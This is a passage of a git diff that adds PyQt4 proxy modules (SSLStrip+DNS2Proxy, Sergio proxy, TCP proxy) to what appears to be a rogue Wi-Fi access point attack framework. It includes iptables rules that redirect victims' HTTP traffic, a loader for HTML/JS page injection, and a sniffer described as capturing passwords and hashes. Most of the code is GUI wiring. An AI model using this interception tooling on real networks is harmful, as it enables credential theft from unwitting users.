SettingsINI(C.PUMPPROXY_INI) + self.plugins = [] + self.main_method = parent + self.bt_SettingsDict = {} + self.check_PluginDict = {} + self.search_all_ProxyPlugins() + #scroll area + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + self.dockwidget = PumpkinProxyDock(None,title=self.Name) + self.search[self.Name] = str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080') + + # create for add dock logging + self.tabcontrol = QtGui.QTabWidget() + self.tab1 = QtGui.QWidget() + self.tab2 = QtGui.QWidget() + self.page_1 = QtGui.QVBoxLayout(self.tab1) + self.page_2 = QtGui.QVBoxLayout(self.tab2) + self.tableLogging = dockPumpkinProxy() + + self.tabcontrol.addTab(self.tab1, 'Plugins') + #self.tabcontrol.addTab(self.tab2, 'Logging') + + self.TabPlugins = QtGui.QTableWidget() + self.TabPlugins.setColumnCount(3) + self.TabPlugins.setRowCount(len(self.plugins)) + self.TabPlugins.resizeRowsToContents() + self.TabPlugins.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.TabPlugins.horizontalHeader().setStretchLastSection(True) + self.TabPlugins.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) + self.TabPlugins.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + self.TabPlugins.verticalHeader().setVisible(False) + self.TabPlugins.verticalHeader().setDefaultSectionSize(27) + self.TabPlugins.setSortingEnabled(True) + self.THeaders = OrderedDict([ ('Plugins',[]),('Settings',[]),('Description',[])]) + self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabPlugins.horizontalHeader().resizeSection(0,158) + self.TabPlugins.horizontalHeader().resizeSection(1,80) + + # add on tab + self.page_1.addWidget(self.TabPlugins) + self.page_2.addWidget(self.tableLogging) + + # get all plugins and add into TabWidget + Headers = [] + for plugin in self.plugins: + if plugin.ConfigParser: + self.bt_SettingsDict[plugin.Name] = QtGui.QPushButton('Settings') + self.bt_SettingsDict[plugin.Name].clicked.connect(partial(self.setSettingsPlgins,plugin.Name)) + else: + self.bt_SettingsDict[plugin.Name] = QtGui.QPushButton('None') + self.check_PluginDict[plugin.Name] = QtGui.QCheckBox(plugin.Name) + self.check_PluginDict[plugin.Name].setObjectName(plugin.Name) + self.check_PluginDict[plugin.Name].clicked.connect(partial(self.setPluginOption,plugin.Name)) + self.THeaders['Plugins'].append(self.check_PluginDict[plugin.Name]) + self.THeaders['Settings'].append({'name': plugin.Name}) + self.THeaders['Description'].append(plugin.Description) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + if type(item) == type(QtGui.QCheckBox()): + self.TabPlugins.setCellWidget(m,n,item) + elif type(item) == type(dict()): + self.TabPlugins.setCellWidget(m,n,self.bt_SettingsDict[item['name']]) + else: + item = QtGui.QTableWidgetItem(item) + self.TabPlugins.setItem(m, n, item) + self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys()) + + # check status all checkbox plugins + for box in self.check_PluginDict.keys(): + self.check_PluginDict[box].setChecked(self.config.get_setting('plugins',box,format=bool)) + + self.mainLayout.addWidget(self.tabcontrol) + self.layout = QtGui.QHBoxLayout() + self.layout.addWidget(self.scroll) + self.setLayout(self.layout) + + def setPluginOption(self, name,status): + ''' get each plugins status''' + # enable realtime disable and enable plugin + if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + self.reactor.ThreadPumpkinProxy.m.disablePlugin(name, status) + self.config.set_setting('plugins',name,status) + + def setSettingsPlgins(self,plugin): + ''' open settings options for each plugins''' + key = 'set_{}'.format(plugin) + self.widget = PumpkinProxySettings(key,self.config.get_all_childname(key)) + self.widget.show() + + def search_all_ProxyPlugins(self): + ''' load all plugins function ''' + plugin_classes = plugin.PluginTemplate.__subclasses__() + for p in plugin_classes: + self.plugins.append(p()) + def boot(self): + self.reactor = ThreadPumpkinProxy(self.parent.currentSessionID) + self.reactor.send.connect(self.LogOutput) + self.reactor.setObjectName(self.Name) + self.SetRules("PumpkinProxy") + + def LogOutput(self, data): + if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool): + self.dockwidget.writeModeData(data) + self.logger.info(data) + + def Serve(self,on=True): + if on: + self.tableLogging.clearContents() + plugin_classes = plugin.PluginTemplate.__subclasses__() + for p in plugin_classes: + self.plugins.append(p()) + # pumpkinproxy not use reactor twistted + #self.server.start() + def onProxyEnabled(self): + self.SetRules(self.Name) + diff --git a/core/servers/proxy/package/SSLStripProxy.py b/core/servers/proxy/package/SSLStripProxy.py new file mode 100644 index 0000000..2f166fc --- /dev/null +++ b/core/servers/proxy/package/SSLStripProxy.py @@ -0,0 +1,280 @@ +from collections import OrderedDict +from datetime import datetime +from functools import partial +from os import path +from core.config.globalimport import * + +import core.utility.constants as C +from core.main import QtGui,QtCore +from core.servers.proxy.package.ProxyMode import ProxyMode +from core.utility.collection import SettingsINI +from core.utility.threads import ThreadPopen +from core.utils import Refactor +from core.widgets.customiseds import AutoGridLayout +from core.widgets.docks.dock import DockableWidget +from core.widgets.docks.dockmonitor import ( + dockAreaAPI,dockUrlMonitor,dockCredsMonitor,dockPumpkinProxy,dockTCPproxy +) +from core.utility.threads import ( + ProcessHostapd,Thread_sergioProxy, + ThRunDhcp,Thread_sslstrip,ProcessThread, + ThreadReactor,ThreadPopen,ThreadPumpkinProxy +) +from core.widgets.pluginssettings import PumpkinProxySettings +from plugins.analyzers import * +from plugins.extension import * +from plugins.external.scripts import * + +class ProxySSLstripDock(DockableWidget): + id = "SSLStrip" + title = "SSLStrip Logger" + def __init__(self,parent=0,title="",infor={}): + super(ProxySSLstripDock,self).__init__(parent) + self.setWindowTitle(self.title) + self.maindockwidget = QtGui.QListWidget() + self.setWidget(self.maindockwidget) + + + def writeModeData(self,data): + ''' get data output and add on QtableWidgets ''' + item = QtGui.QListWidgetItem() + item.setText(data) + item.setSizeHint(QtCore.QSize(27,27)) + item.setFlags(QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsEditable | QtCore.Qt.ItemIsSelectable) + self.maindockwidget.insertItem(self.maindockwidget.count()+1,item) + self.maindockwidget.scrollToBottom() + + def stopProcess(self): + self.maindockwidget.clear() + + +class ProxySSLstrip(ProxyMode): + Name = "SSLStrip+DNS2Proxy" + Author = "LeonardoNve and xtr4nge" + Description = "This tools offer a different features for post-explotation once you change the DNS server to a Victim." + Icon = "icons/mac.png" + ModSettings = True + ModType = "proxy" # proxy or server + Hidden = False + plugins = [] + _cmd_array = [] + _PluginsToLoader = {'plugins': None,'Content':''} + + def __init__(self,parent, **kwargs): + super(ProxySSLstrip, self).__init__(parent) + self.main_method = parent + self.urlinjected= [] + self.FSettings = SuperSettings.getInstance() + self.mainLayout = QtGui.QVBoxLayout() + self.dockwidget = ProxySSLstripDock(None, title=self.Name) + self.dockwidget.setWindowTitle(self.Name) + self.search[self.Name] = str('iptables -t nat -A PREROUTING -p tcp' + + ' --destination-port 80 -j REDIRECT --to-port ' + self.FSettings.redirectport.text()) + + #scroll area + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + + # create widgets + self.argsLabel = QtGui.QLabel('') + self.hBox = QtGui.QHBoxLayout() + self.hBoxargs = QtGui.QHBoxLayout() + self.btnLoader = QtGui.QPushButton('Reload') + self.btnEnable = QtGui.QPushButton('Enable') + self.btncancel = QtGui.QPushButton('Cancel') + self.btnbrownser= QtGui.QPushButton('Browser') + + # size buttons + self.btnLoader.setFixedWidth(100) + self.btnEnable.setFixedWidth(100) + self.btncancel.setFixedWidth(100) + self.btnbrownser.setFixedWidth(100) + + self.comboxBox = QtGui.QComboBox() + self.log_inject = QtGui.QListWidget() + self.docScripts = QtGui.QTextEdit() + self.argsScripts= QtGui.QLineEdit() + self.btncancel.setIcon(QtGui.QIcon('icons/cancel.png')) + self.btnLoader.setIcon(QtGui.QIcon('icons/search.png')) + self.btnEnable.setIcon(QtGui.QIcon('icons/accept.png')) + self.btnbrownser.setIcon(QtGui.QIcon("icons/open.png")) + self.argsScripts.setEnabled(False) + self.btnbrownser.setEnabled(False) + + # group settings + self.GroupSettings = QtGui.QGroupBox() + self.GroupSettings.setTitle('settings:') + self.SettingsLayout = QtGui.QFormLayout() + self.hBox.addWidget(self.comboxBox) + self.hBox.addWidget(self.btnLoader) + self.hBox.addWidget(self.btnEnable) + self.hBox.addWidget(self.btncancel) + self.hBoxargs.addWidget(self.argsLabel) + self.hBoxargs.addWidget(self.argsScripts) + self.hBoxargs.addWidget(self.btnbrownser) + self.SettingsLayout.addRow(self.hBox) + self.SettingsLayout.addRow(self.hBoxargs) + self.GroupSettings.setLayout(self.SettingsLayout) + #self.GroupSettings.setFixedWidth(450) + #group logger + self.GroupLogger = QtGui.QGroupBox() + self.GroupLogger.setTitle('Logger Injection:') + self.LoggerLayout = QtGui.QVBoxLayout() + self.LoggerLayout.addWidget(self.log_inject) + self.GroupLogger.setLayout(self.LoggerLayout) + #self.GroupLogger.setFixedWidth(450) + + #group descriptions + self.GroupDoc = QtGui.QGroupBox() + self.GroupDoc.setTitle('Description:') + self.DocLayout = QtGui.QFormLayout() + self.DocLayout.addRow(self.docScripts) + self.GroupDoc.setLayout(self.DocLayout) + self.GroupDoc.setFixedHeight(100) + + #connections + self.SearchProxyPlugins() + self.readDocScripts('html_injector') + self.btnLoader.clicked.connect(self.SearchProxyPlugins) + self.connect(self.comboxBox,QtCore.SIGNAL('currentIndexChanged(QString)'),self.readDocScripts) + self.btnEnable.clicked.connect(self.setPluginsActivated) + self.btncancel.clicked.connect(self.unsetPluginsConf) + self.btnbrownser.clicked.connect(self.get_filenameToInjection) + # add widgets + self.mainLayout.addWidget(self.GroupSettings) + self.mainLayout.addWidget(self.GroupDoc) + self.mainLayout.addWidget(self.GroupLogger) + self.layout = QtGui.QHBoxLayout() + self.layout.addWidget(self.scroll) + self.setLayout(self.layout) + def get_filenameToInjection(self): + ''' open file for injection plugin ''' + filename = QtGui.QFileDialog.getOpenFileName(None, + 'load File','','HTML (*.html);;js (*.js);;css (*.css)') + if len(filename) > 0: + self.argsScripts.setText(filename) + QtGui.QMessageBox.information(None, 'Scripts Loaders', 'file has been loaded with success.') + + def setPluginsActivated(self): + ''' check arguments for plugins ''' + item = str(self.comboxBox.currentText()) + if self.controlui.isChecked(): + if self.plugins[str(item)]._requiresArgs: + if len(self.argsScripts.text()) != 0: + self._PluginsToLoader['plugins'] = item + self._PluginsToLoader['Content'] = str(self.argsScripts.text()) + else: + return self.sendError.emit('this module proxy requires {} args'.format(self.argsLabel.text())) + else: + self._PluginsToLoader['plugins'] = item + self.btnEnable.setEnabled(False) + self.ProcessReadLogger() + return self.main_method.set_proxy_scripts(True) + self.sendError.emit('plugins::Proxy is not enabled.' + '\n\nthis module need a proxy server(sslstrip) to work,' + '\nchoice the plugin options with sslstrip enabled.'.format(self.argsLabel.text())) + + def ProcessReadLogger(self): + '''function for read log injection proxy ''' + if path.exists(C.LOG_SSLSTRIP): + with open(C.LOG_SSLSTRIP,'w') as bufferlog: + bufferlog.write(''), bufferlog.close() + self.injectionThread = ThreadPopen(['tail','-f',C.LOG_SSLSTRIP]) + self.connect(self.injectionThread,QtCore.SIGNAL('Activated ( QString ) '), self.GetloggerInjection) + self.injectionThread.setObjectName('Pump-Proxy::Capture') + return self.injectionThread.start() + QtGui.QMessageBox.warning(self,'error proxy logger','Pump-Proxy::capture is not found') + + def GetloggerInjection(self,data): + ''' read load file and add in Qlistwidget ''' + if Refactor.getSize(C.LOG_SSLSTRIP) > 255790: + with open(C.LOG_SSLSTRIP,'w') as bufferlog: + bufferlog.write(''), bufferlog.close() + if data not in self.urlinjected: + self.log_inject.addItem(data) + self.urlinjected.append(data) + self.log_inject.scrollToBottom() + + def readDocScripts(self,item): + ''' check type args for all plugins ''' + try: + self.docScripts.setText(self.plugins[str(item)].__doc__) + if self.plugins[str(item)]._requiresArgs: + if 'FilePath' in self.plugins[str(item)]._argsname: + self.btnbrownser.setEnabled(True) + else: + self.btnbrownser.setEnabled(False) + self.argsScripts.setEnabled(True) + self.argsLabel.setText(self.plugins[str(item)]._argsname) + else: + self.argsScripts.setEnabled(False) + self.btnbrownser.setEnabled(False) + self.argsLabel.setText('') + except Exception: + pass + + def unsetPluginsConf(self): + ''' reset config for all plugins ''' + if hasattr(self,'injectionThread'): self.injectionThread.stop() + self._PluginsToLoader = {'plugins': None,'args':''} + self.btnEnable.setEnabled(True) + self.main_method.set_proxy_scripts(False) + self.argsScripts.clear() + self.log_inject.clear() + self.urlinjected = [] + + def SearchProxyPlugins(self): + ''' search all plugins in directory plugins/external/proxy''' + self.comboxBox.clear() + self.plugin_classes = Plugin.PluginProxy.__subclasses__() + self.plugins = {} + for p in self.plugin_classes: + self.plugins[p._name] = p() + self.comboxBox.addItems(self.plugins.keys()) + @property + def CMD_ARRAY(self): + return None + def Serve(self,on=True): + if on: + self.plugin_classes = Plugin.PluginProxy.__subclasses__() + self.plugins = {} + for p in self.plugin_classes: + self.plugins[p._name] = p() + if not self.server.isRunning(): + self.server.start() + else: + self.server.stop() + def Initialize(self): + self.unset_Rules(self.Name) + self.unset_Rules("dns2proxy") + def boot(self): + #self.reactor = ProcessThread({'python': self.CMD_ARRAY}) + #self.reactor._ProcssOutput.connect(self.LogOutput) + #self.reactor.setObjectName(self.Name) + + self.reactor = Thread_sslstrip(self.parent.SettingsEnable['PortRedirect'], + self.plugins, self._PluginsToLoader, + self.parent.currentSessionID) + self.reactor.logging.connect(self.get_logger) + self.reactor.setObjectName(self.Name) + self.SetRules(self.Name) + self.SetRules("dns2proxy") + + def get_logger(self, data ): + self.dockwidget.writeModeData(data) + + def SafeLog(self): + lines = [] + if self.log_inject.count()>0: + with open('logs/AccessPoint/injectionPage.log','w') as injectionlog: + for index in xrange(self.log_inject.count()): + lines.append(str(self.log_inject.item(index).text())) + for log in lines: injectionlog.write(log+'\n') + injectionlog.close() + def onProxyEnabled(self): + self.SetRules(self.Name) + self.SetRules('dns2proxy') + diff --git a/core/servers/proxy/package/SSLStripSergio.py b/core/servers/proxy/package/SSLStripSergio.py new file mode 100644 index 0000000..3fe6233 --- /dev/null +++ b/core/servers/proxy/package/SSLStripSergio.py @@ -0,0 +1,283 @@ +from core.config.globalimport import * +from collections import OrderedDict +from datetime import datetime +from functools import partial +from os import path + +import core.utility.constants as C +from core.main import QtGui,QtCore +from core.servers.proxy.package.ProxyMode import ProxyMode +from core.utility.collection import SettingsINI +from core.utility.threads import ThreadPopen +from core.utils import Refactor +from core.widgets.customiseds import AutoGridLayout +from core.widgets.docks.dockmonitor import ( + dockAreaAPI,dockUrlMonitor,dockCredsMonitor,dockPumpkinProxy,dockTCPproxy +) +from core.utility.threads import ( + ProcessHostapd,Thread_sergioProxy, + ThRunDhcp,Thread_sslstrip,ProcessThread, + ThreadReactor,ThreadPopen,ThreadPumpkinProxy +) +from core.widgets.pluginssettings import PumpkinProxySettings +from plugins.analyzers import * +from plugins.extension import * +from plugins.external.scripts import * +from core.widgets.docks.dock import DockableWidget + + +class ProxySSLstripDock(DockableWidget): + id = "SSLStrip" + title = "SSLStrip Logger" + def __init__(self,parent=0,title="",infor={}): + super(ProxySSLstripDock,self).__init__(parent) + self.setWindowTitle(self.title) + self.maindockwidget = QtGui.QListWidget() + self.setWidget(self.maindockwidget) + + + def writeModeData(self,data): + ''' get data output and add on QtableWidgets ''' + item = QtGui.QListWidgetItem() + item.setText(data) + item.setSizeHint(QtCore.QSize(27,27)) + item.setFlags(QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsEditable | QtCore.Qt.ItemIsSelectable) + self.maindockwidget.insertItem(self.maindockwidget.count()+1,item) + self.maindockwidget.scrollToBottom() + + def stopProcess(self): + self.maindockwidget.clear() + + + + +class SergioProxySSLstrip(ProxyMode): + Name = "SSLstrip+Sergio" + Author = "Ben Schmidt and xtr4nge" + Description = "Sergio proxy is an HTTP proxy that was written in Python for the Twisted framework." + Icon = "icons/mac.png" + ModSettings = True + ModType = "proxy" # proxy or server + _cmd_array = [] + Hidden = False + plugins = [] + _PluginsToLoader = {'plugins': None,'Content':''} + + def __init__(self, parent, **kwargs): + + super(SergioProxySSLstrip, self).__init__(parent) + self.main_method = parent + self.urlinjected= [] + self.FSettings =SuperSettings.getInstance() + self.mainLayout = QtGui.QVBoxLayout() + self.dockwidget = ProxySSLstripDock(None, title=self.Name) + self.dockwidget.setWindowTitle(self.Name) + self.search[self.Name] = str('iptables -t nat -A PREROUTING -p tcp'+ + ' --destination-port 80 -j REDIRECT --to-port '+self.FSettings.redirectport.text()) + #scroll area + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + + # create widgets + self.argsLabel = QtGui.QLabel('') + self.hBox = QtGui.QHBoxLayout() + self.hBoxargs = QtGui.QHBoxLayout() + self.btnLoader = QtGui.QPushButton('Reload') + self.btnEnable = QtGui.QPushButton('Enable') + self.btncancel = QtGui.QPushButton('Cancel') + self.btnbrownser= QtGui.QPushButton('Browser') + + # size buttons + self.btnLoader.setFixedWidth(100) + self.btnEnable.setFixedWidth(100) + self.btncancel.setFixedWidth(100) + self.btnbrownser.setFixedWidth(100) + + self.comboxBox = QtGui.QComboBox() + self.log_inject = QtGui.QListWidget() + self.docScripts = QtGui.QTextEdit() + self.argsScripts= QtGui.QLineEdit() + self.btncancel.setIcon(QtGui.QIcon('icons/cancel.png')) + self.btnLoader.setIcon(QtGui.QIcon('icons/search.png')) + self.btnEnable.setIcon(QtGui.QIcon('icons/accept.png')) + self.btnbrownser.setIcon(QtGui.QIcon("icons/open.png")) + self.argsScripts.setEnabled(False) + self.btnbrownser.setEnabled(False) + + # group settings + self.GroupSettings = QtGui.QGroupBox() + self.GroupSettings.setTitle('settings:') + self.SettingsLayout = QtGui.QFormLayout() + self.hBox.addWidget(self.comboxBox) + self.hBox.addWidget(self.btnLoader) + self.hBox.addWidget(self.btnEnable) + self.hBox.addWidget(self.btncancel) + self.hBoxargs.addWidget(self.argsLabel) + self.hBoxargs.addWidget(self.argsScripts) + self.hBoxargs.addWidget(self.btnbrownser) + self.SettingsLayout.addRow(self.hBox) + self.SettingsLayout.addRow(self.hBoxargs) + self.GroupSettings.setLayout(self.SettingsLayout) + #self.GroupSettings.setFixedWidth(450) + #group logger + self.GroupLogger = QtGui.QGroupBox() + self.GroupLogger.setTitle('Logger Injection:') + self.LoggerLayout = QtGui.QVBoxLayout() + self.LoggerLayout.addWidget(self.log_inject) + self.GroupLogger.setLayout(self.LoggerLayout) + #self.GroupLogger.setFixedWidth(450) + + #group descriptions + self.GroupDoc = QtGui.QGroupBox() + self.GroupDoc.setTitle('Description:') + self.DocLayout = QtGui.QFormLayout() + self.DocLayout.addRow(self.docScripts) + self.GroupDoc.setLayout(self.DocLayout) + self.GroupDoc.setFixedHeight(100) + + #connections + self.SearchProxyPlugins() + self.readDocScripts('html_injector') + self.btnLoader.clicked.connect(self.SearchProxyPlugins) + self.connect(self.comboxBox,QtCore.SIGNAL('currentIndexChanged(QString)'),self.readDocScripts) + self.btnEnable.clicked.connect(self.setPluginsActivated) + self.btncancel.clicked.connect(self.unsetPluginsConf) + self.btnbrownser.clicked.connect(self.get_filenameToInjection) + # add widgets + self.mainLayout.addWidget(self.GroupSettings) + self.mainLayout.addWidget(self.GroupDoc) + self.mainLayout.addWidget(self.GroupLogger) + self.layout = QtGui.QHBoxLayout() + self.layout.addWidget(self.scroll) + self.setLayout(self.layout) + @property + def CMD_ARRAY(self): + self._cmd_array=[] + def get_filenameToInjection(self): + ''' open file for injection plugin ''' + filename = QtGui.QFileDialog.getOpenFileName(None, + 'load File','','HTML (*.html);;js (*.js);;css (*.css)') + if len(filename) > 0: + self.argsScripts.setText(filename) + QtGui.QMessageBox.information(None, 'Scripts Loaders', 'file has been loaded with success.') + + def setPluginsActivated(self): + ''' check arguments for plugins ''' + item = str(self.comboxBox.currentText()) + if self.controlui.isChecked(): + if self.plugins[str(item)]._requiresArgs: + if len(self.argsScripts.text()) != 0: + self._PluginsToLoader['plugins'] = item + self._PluginsToLoader['Content'] = str(self.argsScripts.text()) + else: + return self.sendError.emit('this module proxy requires {} args'.format(self.argsLabel.text())) + else: + self._PluginsToLoader['plugins'] = item + self.btnEnable.setEnabled(False) + self.ProcessReadLogger() + return self.main_method.set_proxy_scripts(True) + self.sendError.emit('plugins::Proxy is not enabled.' + '\n\nthis module need a proxy server(sslstrip) to work,' + '\nchoice the plugin options with sslstrip enabled.'.format(self.argsLabel.text())) + + def ProcessReadLogger(self): + '''function for read log injection proxy ''' + if path.exists(C.LOG_SSLSTRIP): + with open(C.LOG_SSLSTRIP,'w') as bufferlog: + bufferlog.write(''), bufferlog.close() + self.injectionThread = ThreadPopen(['tail','-f',C.LOG_SSLSTRIP]) + self.connect(self.injectionThread,QtCore.SIGNAL('Activated ( QString ) '), self.GetloggerInjection) + self.injectionThread.setObjectName('Pump-Proxy::Capture') + return self.injectionThread.start() + QtGui.QMessageBox.warning(self,'error proxy logger','Pump-Proxy::capture is not found') + + def GetloggerInjection(self,data): + ''' read load file and add in Qlistwidget ''' + if Refactor.getSize(C.LOG_SSLSTRIP) > 255790: + with open(C.LOG_SSLSTRIP,'w') as bufferlog: + bufferlog.write(''), bufferlog.close() + if data not in self.urlinjected: + self.log_inject.addItem(data) + self.urlinjected.append(data) + self.log_inject.scrollToBottom() + + def readDocScripts(self,item): + ''' check type args for all plugins ''' + try: + self.docScripts.setText(self.plugins[str(item)].__doc__) + if self.plugins[str(item)]._requiresArgs: + if 'FilePath' in self.plugins[str(item)]._argsname: + self.btnbrownser.setEnabled(True) + else: + self.btnbrownser.setEnabled(False) + self.argsScripts.setEnabled(True) + self.argsLabel.setText(self.plugins[str(item)]._argsname) + else: + self.argsScripts.setEnabled(False) + self.btnbrownser.setEnabled(False) + self.argsLabel.setText('') + except Exception: + pass + + def unsetPluginsConf(self): + ''' reset config for all plugins ''' + if hasattr(self,'injectionThread'): self.injectionThread.stop() + self._PluginsToLoader = {'plugins': None,'args':''} + self.btnEnable.setEnabled(True) + self.main_method.set_proxy_scripts(False) + self.argsScripts.clear() + self.log_inject.clear() + self.urlinjected = [] + + def SearchProxyPlugins(self): + ''' search all plugins in directory plugins/external/proxy''' + self.comboxBox.clear() + self.plugin_classes = Plugin.PluginProxy.__subclasses__() + self.plugins = {} + for p in self.plugin_classes: + self.plugins[p._name] = p() + self.comboxBox.addItems(self.plugins.keys()) + + def CMD_ARRAY(self): + self._cmd_array = [C.DNS2PROXY_EXEC, '-i', str(self.Wireless.WLANCard.currentText()), '-k', + self.parent.currentSessionID] + + return self._cmd_array + + def Serve(self, on=True): + if on: + self.plugin_classes = Plugin.PluginProxy.__subclasses__() + self.plugins = {} + for p in self.plugin_classes: + self.plugins[p._name] = p() + if not self.server.isRunning(): + self.server.start() + else: + pass #self.server.stop() + def Initialize(self): + self.unset_Rules(self.Name) + def boot(self): + self.reactor = Thread_sergioProxy(self.parent.SettingsEnable['PortRedirect'], + self.plugins, self._PluginsToLoader, + self.parent.currentSessionID) + self.reactor.logging.connect(self.get_logger) + self.reactor.setObjectName("SergioProxy") + self.SetRules(self.Name) + + def get_logger(self, data ): + self.dockwidget.writeModeData(data) + + def SafeLog(self): + lines = [] + if self.log_inject.count()>0: + with open('logs/AccessPoint/injectionPage.log','w') as injectionlog: + for index in xrange(self.log_inject.count()): + lines.append(str(self.log_inject.item(index).text())) + for log in lines: injectionlog.write(log+'\n') + injectionlog.close() + def onProxyEnabled(self): + self.SetRules(self.Name) + diff --git a/core/servers/proxy/package/TCP-Proxy.py b/core/servers/proxy/package/TCP-Proxy.py new file mode 100644 index 0000000..14e45aa --- /dev/null +++ b/core/servers/proxy/package/TCP-Proxy.py @@ -0,0 +1,335 @@ +from core.config.globalimport import * +from collections import OrderedDict +from functools import partial +from PyQt4.QtGui import * +from PyQt4.QtCore import QThread,pyqtSignal,QSize +from threading import Thread +import Queue +from scapy.all import * +import logging +from plugins.analyzers import * + +import core.utility.constants as C +from core.utils import setup_logger +from core.main import QtGui +from core.servers.proxy.package.ProxyMode import * +from core.utility.collection import SettingsINI +from core.widgets.docks.dockmonitor import ( + dockTCPproxy,dockUrlMonitor +) +from plugins.external.scripts import * +from plugins.extension import * +from plugins.analyzers import * +from core.widgets.docks.dock import DockableWidget + +class TCPProxyDock(DockableWidget): + id = "TCPProxy" + title = "TCPProxy" + + def __init__(self,parent=0,title="",info={}): + super(TCPProxyDock,self).__init__(parent,title,info={}) + self.setObjectName(self.title) + self.maindockwidget = QTableWidget() + self.maindockwidget.setColumnCount(2) + self.maindockwidget.resizeRowsToContents() + self.maindockwidget.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + self.maindockwidget.horizontalHeader().setStretchLastSection(True) + self.maindockwidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.maindockwidget.verticalHeader().setVisible(False) + self.maindockwidget.verticalHeader().setDefaultSectionSize(27) + self.maindockwidget.setSortingEnabled(True) + self.THeaders = OrderedDict([ ('Plugin',[]),('Logging',[])]) + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + self.maindockwidget.horizontalHeader().resizeSection(0,150) + self.maindockwidget.horizontalHeader().resizeSection(1,150) + self.setWidget(self.maindockwidget) + + + def writeModeData(self,data): + ''' get data output and add on QtableWidgets ''' + self.THeaders['Plugin'].append(data.keys()[0]) + self.THeaders['Logging'].append(data[data.keys()[0]]) + Headers = [] + self.maindockwidget.setRowCount(len(self.THeaders['Plugin'])) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + item = QTableWidgetItem(m) + if key != 'Logging': + item.setTextAlignment(QtCore.Qt.AlignCenter | QtCore.Qt.AlignVCenter) + #item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + self.maindockwidget.setItem(m, n, item) + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + self.maindockwidget.verticalHeader().setDefaultSectionSize(27) + self.maindockwidget.scrollToBottom() + + def stopProcess(self): + self.maindockwidget.setRowCount(0) + self.maindockwidget.clearContents() + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + +class TCPProxy(ProxyMode): + Name = "TCP Proxy" + Author = "Pumpkin-Dev" + Description = "Sniff for intercept network traffic on UDP,TCP protocol get password,hash,image,etc..." + Icon = "icons/tcpproxy.png" + Hidden = False + LogFile = C.LOG_TCPPROXY + _cmd_array = [] + ModSettings = True + ModType = "proxy" # proxy or server + TypePlugin = 2 # 1 != for checkbox + def __init__(self,parent=None, **kwargs): + super(TCPProxy,self).__init__(parent) + self.mainLayout = QtGui.QVBoxLayout() + self.config = SettingsINI(C.TCPPROXY_INI) + self.plugins = [] + self.parent = parent + self.bt_SettingsDict = {} + self.check_PluginDict = {} + self.search_all_ProxyPlugins() + # scroll area + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + + setup_logger("NetCreds",C.LOG_CREDSCAPTURE,"CapturedCreds") + self.LogCredsMonitor = logging.getLogger("NetCreds") + + + + self.tabcontrol = QtGui.QTabWidget() + self.tab1 = QtGui.QWidget() + self.tab2 = QtGui.QWidget() + self.page_1 = QtGui.QVBoxLayout(self.tab1) + self.page_2 = QtGui.QVBoxLayout(self.tab2) + self.tableLogging = dockTCPproxy() + + self.tabcontrol.addTab(self.tab1, 'Plugins') + self.tabcontrol.addTab(self.tab2, 'Logging') + + self.TabPlugins = QtGui.QTableWidget() + self.TabPlugins.setColumnCount(3) + self.TabPlugins.setRowCount(len(self.plugins)) + self.TabPlugins.resizeRowsToContents() + self.TabPlugins.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.TabPlugins.horizontalHeader().setStretchLastSection(True) + self.TabPlugins.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) + self.TabPlugins.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) + self.TabPlugins.verticalHeader().setVisible(False) + self.TabPlugins.verticalHeader().setDefaultSectionSize(27) + self.TabPlugins.setSortingEnabled(True) + self.THeaders = OrderedDict([('Plugins', []), ('Author', []), ('Description', [])]) + self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabPlugins.horizontalHeader().resizeSection(0, 158) + self.TabPlugins.horizontalHeader().resizeSection(1, 120) + + self.dockwidget = TCPProxyDock(None,title=self.Name) + + self.page_1.addWidget(self.TabPlugins) + self.page_2.addWidget(self.tableLogging) + # get all plugins and add into TabWidget + Headers = [] + for plugin in self.plugins: + self.bt_SettingsDict[plugin.Name] = QtGui.QPushButton(plugin.Author) + self.check_PluginDict[plugin.Name] = QtGui.QCheckBox(plugin.Name) + self.check_PluginDict[plugin.Name].setObjectName(plugin.Name) + self.check_PluginDict[plugin.Name].clicked.connect(partial(self.setPluginOption, plugin.Name)) + self.THeaders['Plugins'].append(self.check_PluginDict[plugin.Name]) + self.THeaders['Author'].append({'name': plugin.Name}) + self.THeaders['Description'].append(plugin.Description) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + if type(item) == 